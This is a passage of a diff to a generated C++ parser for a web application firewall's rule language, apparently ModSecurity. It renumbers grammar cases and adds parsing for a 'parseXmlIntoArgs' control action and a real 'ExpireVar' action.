"seclang-parser.cc" +#line 4940 "seclang-parser.cc" break; - case 337: // var: "RUN_TIME_VAR_TIME_WDAY" -#line 2611 "seclang-parser.yy" + case 348: // var: "RUN_TIME_VAR_TIME_WDAY" +#line 2702 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new TimeWDay(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4820 "seclang-parser.cc" +#line 4951 "seclang-parser.cc" break; - case 338: // var: "RUN_TIME_VAR_TIME_YEAR" -#line 2618 "seclang-parser.yy" + case 349: // var: "RUN_TIME_VAR_TIME_YEAR" +#line 2709 "seclang-parser.yy" { std::string name(yystack_[0].value.as < std::string > ()); char z = name.at(0); std::unique_ptr c(new TimeYear(name)); yylhs.value.as < std::unique_ptr > () = std::move(c); } -#line 4831 "seclang-parser.cc" +#line 4962 "seclang-parser.cc" break; - case 339: // act: "Accuracy" -#line 2628 "seclang-parser.yy" + case 350: // act: "Accuracy" +#line 2719 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Accuracy(yystack_[0].value.as < std::string > ())); } -#line 4839 "seclang-parser.cc" +#line 4970 "seclang-parser.cc" break; - case 340: // act: "Allow" -#line 2632 "seclang-parser.yy" + case 351: // act: "Allow" +#line 2723 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::disruptive::Allow(yystack_[0].value.as < std::string > ())); } -#line 4847 "seclang-parser.cc" +#line 4978 "seclang-parser.cc" break; - case 341: // act: "Append" -#line 2636 "seclang-parser.yy" + case 352: // act: "Append" +#line 2727 "seclang-parser.yy" { ACTION_NOT_SUPPORTED("Append", yystack_[1].location); } -#line 4855 "seclang-parser.cc" +#line 4986 "seclang-parser.cc" break; - case 342: // act: "AuditLog" -#line 2640 "seclang-parser.yy" + case 353: // act: "AuditLog" +#line 2731 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::AuditLog(yystack_[0].value.as < std::string > ())); } -#line 4863 "seclang-parser.cc" +#line 4994 "seclang-parser.cc" break; - case 343: // act: "Block" -#line 2644 "seclang-parser.yy" + case 354: // act: "Block" +#line 2735 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Block(yystack_[0].value.as < std::string > ())); } -#line 4871 "seclang-parser.cc" +#line 5002 "seclang-parser.cc" break; - case 344: // act: "Capture" -#line 2648 "seclang-parser.yy" + case 355: // act: "Capture" +#line 2739 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Capture(yystack_[0].value.as < std::string > ())); } -#line 4879 "seclang-parser.cc" +#line 5010 "seclang-parser.cc" break; - case 345: // act: "Chain" -#line 2652 "seclang-parser.yy" + case 356: // act: "Chain" +#line 2743 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Chain(yystack_[0].value.as < std::string > ())); } -#line 4887 "seclang-parser.cc" +#line 5018 "seclang-parser.cc" break; - case 346: // act: "ACTION_CTL_AUDIT_ENGINE" "CONFIG_VALUE_ON" -#line 2656 "seclang-parser.yy" + case 357: // act: "ACTION_CTL_AUDIT_ENGINE" "CONFIG_VALUE_ON" +#line 2747 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::AuditEngine("ctl:auditengine=on")); driver.m_auditLog->setCtlAuditEngineActive(); } -#line 4896 "seclang-parser.cc" +#line 5027 "seclang-parser.cc" break; - case 347: // act: "ACTION_CTL_AUDIT_ENGINE" "CONFIG_VALUE_OFF" -#line 2661 "seclang-parser.yy" + case 358: // act: "ACTION_CTL_AUDIT_ENGINE" "CONFIG_VALUE_OFF" +#line 2752 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::AuditEngine("ctl:auditengine=off")); } -#line 4904 "seclang-parser.cc" +#line 5035 "seclang-parser.cc" break; - case 348: // act: "ACTION_CTL_AUDIT_ENGINE" "CONFIG_VALUE_RELEVANT_ONLY" -#line 2665 "seclang-parser.yy" + case 359: // act: "ACTION_CTL_AUDIT_ENGINE" "CONFIG_VALUE_RELEVANT_ONLY" +#line 2756 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::AuditEngine("ctl:auditengine=relevantonly")); driver.m_auditLog->setCtlAuditEngineActive(); } -#line 4913 "seclang-parser.cc" +#line 5044 "seclang-parser.cc" break; - case 349: // act: "ACTION_CTL_AUDIT_LOG_PARTS" -#line 2670 "seclang-parser.yy" + case 360: // act: "ACTION_CTL_AUDIT_LOG_PARTS" +#line 2761 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::AuditLogParts(yystack_[0].value.as < std::string > ())); } -#line 4921 "seclang-parser.cc" +#line 5052 "seclang-parser.cc" break; - case 350: // act: "ACTION_CTL_BDY_JSON" -#line 2674 "seclang-parser.yy" + case 361: // act: "ACTION_CTL_BDY_JSON" +#line 2765 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RequestBodyProcessorJSON(yystack_[0].value.as < std::string > ())); } -#line 4929 "seclang-parser.cc" +#line 5060 "seclang-parser.cc" break; - case 351: // act: "ACTION_CTL_BDY_XML" -#line 2678 "seclang-parser.yy" + case 362: // act: "ACTION_CTL_BDY_XML" +#line 2769 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RequestBodyProcessorXML(yystack_[0].value.as < std::string > ())); } -#line 4937 "seclang-parser.cc" +#line 5068 "seclang-parser.cc" break; - case 352: // act: "ACTION_CTL_BDY_URLENCODED" -#line 2682 "seclang-parser.yy" + case 363: // act: "ACTION_CTL_BDY_URLENCODED" +#line 2773 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RequestBodyProcessorURLENCODED(yystack_[0].value.as < std::string > ())); } -#line 4945 "seclang-parser.cc" +#line 5076 "seclang-parser.cc" break; - case 353: // act: "ACTION_CTL_FORCE_REQ_BODY_VAR" "CONFIG_VALUE_ON" -#line 2686 "seclang-parser.yy" + case 364: // act: "ACTION_CTL_FORCE_REQ_BODY_VAR" "CONFIG_VALUE_ON" +#line 2777 "seclang-parser.yy" { //ACTION_NOT_SUPPORTED("CtlForceReequestBody", @0); ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Action(yystack_[1].value.as < std::string > ())); } -#line 4954 "seclang-parser.cc" +#line 5085 "seclang-parser.cc" break; - case 354: // act: "ACTION_CTL_FORCE_REQ_BODY_VAR" "CONFIG_VALUE_OFF" -#line 2691 "seclang-parser.yy" + case 365: // act: "ACTION_CTL_FORCE_REQ_BODY_VAR" "CONFIG_VALUE_OFF" +#line 2782 "seclang-parser.yy" { //ACTION_NOT_SUPPORTED("CtlForceReequestBody", @0); ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Action(yystack_[1].value.as < std::string > ())); } -#line 4963 "seclang-parser.cc" +#line 5094 "seclang-parser.cc" + break; + + case 366: // act: "ACTION_CTL_PARSE_XML_INTO_ARGS" "CONFIG_VALUE_ON" +#line 2787 "seclang-parser.yy" + { + ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::ParseXmlIntoArgs("ctl:parseXmlIntoArgs=on")); + } +#line 5102 "seclang-parser.cc" break; - case 355: // act: "ACTION_CTL_REQUEST_BODY_ACCESS" "CONFIG_VALUE_ON" -#line 2696 "seclang-parser.yy" + case 367: // act: "ACTION_CTL_PARSE_XML_INTO_ARGS" "CONFIG_VALUE_OFF" +#line 2791 "seclang-parser.yy" + { + ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::ParseXmlIntoArgs("ctl:parseXmlIntoArgs=off")); + } +#line 5110 "seclang-parser.cc" + break; + + case 368: // act: "ACTION_CTL_PARSE_XML_INTO_ARGS" "CONFIG_VALUE_ONLYARGS" +#line 2795 "seclang-parser.yy" + { + ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::ParseXmlIntoArgs("ctl:parseXmlIntoArgs=onlyargs")); + } +#line 5118 "seclang-parser.cc" + break; + + case 369: // act: "ACTION_CTL_REQUEST_BODY_ACCESS" "CONFIG_VALUE_ON" +#line 2799 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RequestBodyAccess(yystack_[1].value.as < std::string > () + "true")); } -#line 4971 "seclang-parser.cc" +#line 5126 "seclang-parser.cc" break; - case 356: // act: "ACTION_CTL_REQUEST_BODY_ACCESS" "CONFIG_VALUE_OFF" -#line 2700 "seclang-parser.yy" + case 370: // act: "ACTION_CTL_REQUEST_BODY_ACCESS" "CONFIG_VALUE_OFF" +#line 2803 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RequestBodyAccess(yystack_[1].value.as < std::string > () + "false")); } -#line 4979 "seclang-parser.cc" +#line 5134 "seclang-parser.cc" break; - case 357: // act: "ACTION_CTL_RULE_ENGINE" "CONFIG_VALUE_ON" -#line 2704 "seclang-parser.yy" + case 371: // act: "ACTION_CTL_RULE_ENGINE" "CONFIG_VALUE_ON" +#line 2807 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RuleEngine("ctl:RuleEngine=on")); } -#line 4987 "seclang-parser.cc" +#line 5142 "seclang-parser.cc" break; - case 358: // act: "ACTION_CTL_RULE_ENGINE" "CONFIG_VALUE_OFF" -#line 2708 "seclang-parser.yy" + case 372: // act: "ACTION_CTL_RULE_ENGINE" "CONFIG_VALUE_OFF" +#line 2811 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RuleEngine("ctl:RuleEngine=off")); } -#line 4995 "seclang-parser.cc" +#line 5150 "seclang-parser.cc" break; - case 359: // act: "ACTION_CTL_RULE_ENGINE" "CONFIG_VALUE_DETC" -#line 2712 "seclang-parser.yy" + case 373: // act: "ACTION_CTL_RULE_ENGINE" "CONFIG_VALUE_DETC" +#line 2815 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RuleEngine("ctl:RuleEngine=detectiononly")); } -#line 5003 "seclang-parser.cc" +#line 5158 "seclang-parser.cc" break; - case 360: // act: "ACTION_CTL_RULE_REMOVE_BY_ID" -#line 2716 "seclang-parser.yy" + case 374: // act: "ACTION_CTL_RULE_REMOVE_BY_ID" +#line 2819 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RuleRemoveById(yystack_[0].value.as < std::string > ())); } -#line 5011 "seclang-parser.cc" +#line 5166 "seclang-parser.cc" break; - case 361: // act: "ACTION_CTL_RULE_REMOVE_BY_TAG" -#line 2720 "seclang-parser.yy" + case 375: // act: "ACTION_CTL_RULE_REMOVE_BY_TAG" +#line 2823 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RuleRemoveByTag(yystack_[0].value.as < std::string > ())); } -#line 5019 "seclang-parser.cc" +#line 5174 "seclang-parser.cc" break; - case 362: // act: "ACTION_CTL_RULE_REMOVE_TARGET_BY_ID" -#line 2724 "seclang-parser.yy" + case 376: // act: "ACTION_CTL_RULE_REMOVE_TARGET_BY_ID" +#line 2827 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RuleRemoveTargetById(yystack_[0].value.as < std::string > ())); } -#line 5027 "seclang-parser.cc" +#line 5182 "seclang-parser.cc" break; - case 363: // act: "ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG" -#line 2728 "seclang-parser.yy" + case 377: // act: "ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG" +#line 2831 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ctl::RuleRemoveTargetByTag(yystack_[0].value.as < std::string > ())); } -#line 5035 "seclang-parser.cc" +#line 5190 "seclang-parser.cc" break; - case 364: // act: "Deny" -#line 2732 "seclang-parser.yy" + case 378: // act: "Deny" +#line 2835 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::disruptive::Deny(yystack_[0].value.as < std::string > ())); } -#line 5043 "seclang-parser.cc" +#line 5198 "seclang-parser.cc" break; - case 365: // act: "DeprecateVar" -#line 2736 "seclang-parser.yy" + case 379: // act: "DeprecateVar" +#line 2839 "seclang-parser.yy" { ACTION_NOT_SUPPORTED("DeprecateVar", yystack_[1].location); } -#line 5051 "seclang-parser.cc" +#line 5206 "seclang-parser.cc" break; - case 366: // act: "Drop" -#line 2740 "seclang-parser.yy" + case 380: // act: "Drop" +#line 2843 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::disruptive::Drop(yystack_[0].value.as < std::string > ())); } -#line 5059 "seclang-parser.cc" +#line 5214 "seclang-parser.cc" break; - case 367: // act: "Exec" -#line 2744 "seclang-parser.yy" + case 381: // act: "Exec" +#line 2847 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Exec(yystack_[0].value.as < std::string > ())); } -#line 5067 "seclang-parser.cc" +#line 5222 "seclang-parser.cc" break; - case 368: // act: "ExpireVar" -#line 2748 "seclang-parser.yy" + case 382: // act: "ExpireVar" run_time_string +#line 2851 "seclang-parser.yy" { - //ACTION_NOT_SUPPORTED("ExpireVar", @0); - ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Action(yystack_[0].value.as < std::string > ())); + ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::ExpireVar(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5076 "seclang-parser.cc" +#line 5230 "seclang-parser.cc" break; - case 369: // act: "Id" -#line 2753 "seclang-parser.yy" + case 383: // act: "Id" +#line 2855 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::RuleId(yystack_[0].value.as < std::string > ())); } -#line 5084 "seclang-parser.cc" +#line 5238 "seclang-parser.cc" break; - case 370: // act: "InitCol" run_time_string -#line 2757 "seclang-parser.yy" + case 384: // act: "InitCol" run_time_string +#line 2859 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::InitCol(yystack_[1].value.as < std::string > (), std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5092 "seclang-parser.cc" +#line 5246 "seclang-parser.cc" break; - case 371: // act: "LogData" run_time_string -#line 2761 "seclang-parser.yy" + case 385: // act: "LogData" run_time_string +#line 2863 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::LogData(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5100 "seclang-parser.cc" +#line 5254 "seclang-parser.cc" break; - case 372: // act: "Log" -#line 2765 "seclang-parser.yy" + case 386: // act: "Log" +#line 2867 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Log(yystack_[0].value.as < std::string > ())); } -#line 5108 "seclang-parser.cc" +#line 5262 "seclang-parser.cc" break; - case 373: // act: "Maturity" -#line 2769 "seclang-parser.yy" + case 387: // act: "Maturity" +#line 2871 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Maturity(yystack_[0].value.as < std::string > ())); } -#line 5116 "seclang-parser.cc" +#line 5270 "seclang-parser.cc" break; - case 374: // act: "Msg" run_time_string -#line 2773 "seclang-parser.yy" + case 388: // act: "Msg" run_time_string +#line 2875 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Msg(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5124 "seclang-parser.cc" +#line 5278 "seclang-parser.cc" break; - case 375: // act: "MultiMatch" -#line 2777 "seclang-parser.yy" + case 389: // act: "MultiMatch" +#line 2879 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::MultiMatch(yystack_[0].value.as < std::string > ())); } -#line 5132 "seclang-parser.cc" +#line 5286 "seclang-parser.cc" break; - case 376: // act: "NoAuditLog" -#line 2781 "seclang-parser.yy" + case 390: // act: "NoAuditLog" +#line 2883 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::NoAuditLog(yystack_[0].value.as < std::string > ())); } -#line 5140 "seclang-parser.cc" +#line 5294 "seclang-parser.cc" break; - case 377: // act: "NoLog" -#line 2785 "seclang-parser.yy" + case 391: // act: "NoLog" +#line 2887 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::NoLog(yystack_[0].value.as < std::string > ())); } -#line 5148 "seclang-parser.cc" +#line 5302 "seclang-parser.cc" break; - case 378: // act: "Pass" -#line 2789 "seclang-parser.yy" + case 392: // act: "Pass" +#line 2891 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::disruptive::Pass(yystack_[0].value.as < std::string > ())); } -#line 5156 "seclang-parser.cc" +#line 5310 "seclang-parser.cc" break; - case 379: // act: "Pause" -#line 2793 "seclang-parser.yy" + case 393: // act: "Pause" +#line 2895 "seclang-parser.yy" { ACTION_NOT_SUPPORTED("Pause", yystack_[1].location); } -#line 5164 "seclang-parser.cc" +#line 5318 "seclang-parser.cc" break; - case 380: // act: "Phase" -#line 2797 "seclang-parser.yy" + case 394: // act: "Phase" +#line 2899 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Phase(yystack_[0].value.as < std::string > ())); } -#line 5172 "seclang-parser.cc" +#line 5326 "seclang-parser.cc" break; - case 381: // act: "Prepend" -#line 2801 "seclang-parser.yy" + case 395: // act: "Prepend" +#line 2903 "seclang-parser.yy" { ACTION_NOT_SUPPORTED("Prepend", yystack_[1].location); } -#line 5180 "seclang-parser.cc" +#line 5334 "seclang-parser.cc" break; - case 382: // act: "Proxy" -#line 2805 "seclang-parser.yy" + case 396: // act: "Proxy" +#line 2907 "seclang-parser.yy" { ACTION_NOT_SUPPORTED("Proxy", yystack_[1].location); } -#line 5188 "seclang-parser.cc" +#line 5342 "seclang-parser.cc" break; - case 383: // act: "Redirect" run_time_string -#line 2809 "seclang-parser.yy" + case 397: // act: "Redirect" run_time_string +#line 2911 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::disruptive::Redirect(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5196 "seclang-parser.cc" +#line 5350 "seclang-parser.cc" break; - case 384: // act: "Rev" -#line 2813 "seclang-parser.yy" + case 398: // act: "Rev" +#line 2915 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Rev(yystack_[0].value.as < std::string > ())); } -#line 5204 "seclang-parser.cc" +#line 5358 "seclang-parser.cc" break; - case 385: // act: "SanitiseArg" -#line 2817 "seclang-parser.yy" + case 399: // act: "SanitiseArg" +#line 2919 "seclang-parser.yy" { ACTION_NOT_SUPPORTED("SanitiseArg", yystack_[1].location); } -#line 5212 "seclang-parser.cc" +#line 5366 "seclang-parser.cc" break; - case 386: // act: "SanitiseMatched" -#line 2821 "seclang-parser.yy" + case 400: // act: "SanitiseMatched" +#line 2923 "seclang-parser.yy" { ACTION_NOT_SUPPORTED("SanitiseMatched", yystack_[1].location); } -#line 5220 "seclang-parser.cc" +#line 5374 "seclang-parser.cc" break; - case 387: // act: "SanitiseMatchedBytes" -#line 2825 "seclang-parser.yy" + case 401: // act: "SanitiseMatchedBytes" +#line 2927 "seclang-parser.yy" { ACTION_NOT_SUPPORTED("SanitiseMatchedBytes", yystack_[1].location); } -#line 5228 "seclang-parser.cc" +#line 5382 "seclang-parser.cc" break; - case 388: // act: "SanitiseRequestHeader" -#line 2829 "seclang-parser.yy" + case 402: // act: "SanitiseRequestHeader" +#line 2931 "seclang-parser.yy" { ACTION_NOT_SUPPORTED("SanitiseRequestHeader", yystack_[1].location); } -#line 5236 "seclang-parser.cc" +#line 5390 "seclang-parser.cc" break; - case 389: // act: "SanitiseResponseHeader" -#line 2833 "seclang-parser.yy" + case 403: // act: "SanitiseResponseHeader" +#line 2935 "seclang-parser.yy" { ACTION_NOT_SUPPORTED("SanitiseResponseHeader", yystack_[1].location); } -#line 5244 "seclang-parser.cc" +#line 5398 "seclang-parser.cc" break; - case 390: // act: "SetEnv" run_time_string -#line 2837 "seclang-parser.yy" + case 404: // act: "SetEnv" run_time_string +#line 2939 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::SetENV(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5252 "seclang-parser.cc" +#line 5406 "seclang-parser.cc" break; - case 391: // act: "SetRsc" run_time_string -#line 2841 "seclang-parser.yy" + case 405: // act: "SetRsc" run_time_string +#line 2943 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::SetRSC(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5260 "seclang-parser.cc" +#line 5414 "seclang-parser.cc" break; - case 392: // act: "SetSid" run_time_string -#line 2845 "seclang-parser.yy" + case 406: // act: "SetSid" run_time_string +#line 2947 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::SetSID(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5268 "seclang-parser.cc" +#line 5422 "seclang-parser.cc" break; - case 393: // act: "SetUID" run_time_string -#line 2849 "seclang-parser.yy" + case 407: // act: "SetUID" run_time_string +#line 2951 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::SetUID(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5276 "seclang-parser.cc" +#line 5430 "seclang-parser.cc" break; - case 394: // act: "SetVar" setvar_action -#line 2853 "seclang-parser.yy" + case 408: // act: "SetVar" setvar_action +#line 2955 "seclang-parser.yy" { yylhs.value.as < std::unique_ptr > () = std::move(yystack_[0].value.as < std::unique_ptr > ()); } -#line 5284 "seclang-parser.cc" +#line 5438 "seclang-parser.cc" break; - case 395: // act: "Severity" -#line 2857 "seclang-parser.yy" + case 409: // act: "Severity" +#line 2959 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Severity(yystack_[0].value.as < std::string > ())); } -#line 5292 "seclang-parser.cc" +#line 5446 "seclang-parser.cc" break; - case 396: // act: "Skip" -#line 2861 "seclang-parser.yy" + case 410: // act: "Skip" +#line 2963 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Skip(yystack_[0].value.as < std::string > ())); } -#line 5300 "seclang-parser.cc" +#line 5454 "seclang-parser.cc" break; - case 397: // act: "SkipAfter" -#line 2865 "seclang-parser.yy" + case 411: // act: "SkipAfter" +#line 2967 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::SkipAfter(yystack_[0].value.as < std::string > ())); } -#line 5308 "seclang-parser.cc" +#line 5462 "seclang-parser.cc" break; - case 398: // act: "Status" -#line 2869 "seclang-parser.yy" + case 412: // act: "Status" +#line 2971 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::data::Status(yystack_[0].value.as < std::string > ())); } -#line 5316 "seclang-parser.cc" +#line 5470 "seclang-parser.cc" break; - case 399: // act: "Tag" run_time_string -#line 2873 "seclang-parser.yy" + case 413: // act: "Tag" run_time_string +#line 2975 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Tag(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5324 "seclang-parser.cc" +#line 5478 "seclang-parser.cc" break; - case 400: // act: "Ver" -#line 2877 "seclang-parser.yy" + case 414: // act: "Ver" +#line 2979 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::Ver(yystack_[0].value.as < std::string > ())); } -#line 5332 "seclang-parser.cc" +#line 5486 "seclang-parser.cc" break; - case 401: // act: "xmlns" -#line 2881 "seclang-parser.yy" + case 415: // act: "xmlns" +#line 2983 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::XmlNS(yystack_[0].value.as < std::string > ())); } -#line 5340 "seclang-parser.cc" +#line 5494 "seclang-parser.cc" break; - case 402: // act: "ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT" -#line 2885 "seclang-parser.yy" + case 416: // act: "ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT" +#line 2987 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::ParityZero7bit(yystack_[0].value.as < std::string > ())); } -#line 5348 "seclang-parser.cc" +#line 5502 "seclang-parser.cc" break; - case 403: // act: "ACTION_TRANSFORMATION_PARITY_ODD_7_BIT" -#line 2889 "seclang-parser.yy" + case 417: // act: "ACTION_TRANSFORMATION_PARITY_ODD_7_BIT" +#line 2991 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::ParityOdd7bit(yystack_[0].value.as < std::string > ())); } -#line 5356 "seclang-parser.cc" +#line 5510 "seclang-parser.cc" break; - case 404: // act: "ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT" -#line 2893 "seclang-parser.yy" + case 418: // act: "ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT" +#line 2995 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::ParityEven7bit(yystack_[0].value.as < std::string > ())); } -#line 5364 "seclang-parser.cc" +#line 5518 "seclang-parser.cc" break; - case 405: // act: "ACTION_TRANSFORMATION_SQL_HEX_DECODE" -#line 2897 "seclang-parser.yy" + case 419: // act: "ACTION_TRANSFORMATION_SQL_HEX_DECODE" +#line 2999 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::SqlHexDecode(yystack_[0].value.as < std::string > ())); } -#line 5372 "seclang-parser.cc" +#line 5526 "seclang-parser.cc" break; - case 406: // act: "ACTION_TRANSFORMATION_BASE_64_ENCODE" -#line 2901 "seclang-parser.yy" + case 420: // act: "ACTION_TRANSFORMATION_BASE_64_ENCODE" +#line 3003 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::Base64Encode(yystack_[0].value.as < std::string > ())); } -#line 5380 "seclang-parser.cc" +#line 5534 "seclang-parser.cc" break; - case 407: // act: "ACTION_TRANSFORMATION_BASE_64_DECODE" -#line 2905 "seclang-parser.yy" + case 421: // act: "ACTION_TRANSFORMATION_BASE_64_DECODE" +#line 3007 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::Base64Decode(yystack_[0].value.as < std::string > ())); } -#line 5388 "seclang-parser.cc" +#line 5542 "seclang-parser.cc" break; - case 408: // act: "ACTION_TRANSFORMATION_BASE_64_DECODE_EXT" -#line 2909 "seclang-parser.yy" + case 422: // act: "ACTION_TRANSFORMATION_BASE_64_DECODE_EXT" +#line 3011 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::Base64DecodeExt(yystack_[0].value.as < std::string > ())); } -#line 5396 "seclang-parser.cc" +#line 5550 "seclang-parser.cc" break; - case 409: // act: "ACTION_TRANSFORMATION_CMD_LINE" -#line 2913 "seclang-parser.yy" + case 423: // act: "ACTION_TRANSFORMATION_CMD_LINE" +#line 3015 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::CmdLine(yystack_[0].value.as < std::string > ())); } -#line 5404 "seclang-parser.cc" +#line 5558 "seclang-parser.cc" break; - case 410: // act: "ACTION_TRANSFORMATION_SHA1" -#line 2917 "seclang-parser.yy" + case 424: // act: "ACTION_TRANSFORMATION_SHA1" +#line 3019 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::Sha1(yystack_[0].value.as < std::string > ())); } -#line 5412 "seclang-parser.cc" +#line 5566 "seclang-parser.cc" break; - case 411: // act: "ACTION_TRANSFORMATION_MD5" -#line 2921 "seclang-parser.yy" + case 425: // act: "ACTION_TRANSFORMATION_MD5" +#line 3023 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::Md5(yystack_[0].value.as < std::string > ())); } -#line 5420 "seclang-parser.cc" +#line 5574 "seclang-parser.cc" break; - case 412: // act: "ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE" -#line 2925 "seclang-parser.yy" + case 426: // act: "ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE" +#line 3027 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::EscapeSeqDecode(yystack_[0].value.as < std::string > ())); } -#line 5428 "seclang-parser.cc" +#line 5582 "seclang-parser.cc" break; - case 413: // act: "ACTION_TRANSFORMATION_HEX_ENCODE" -#line 2929 "seclang-parser.yy" + case 427: // act: "ACTION_TRANSFORMATION_HEX_ENCODE" +#line 3031 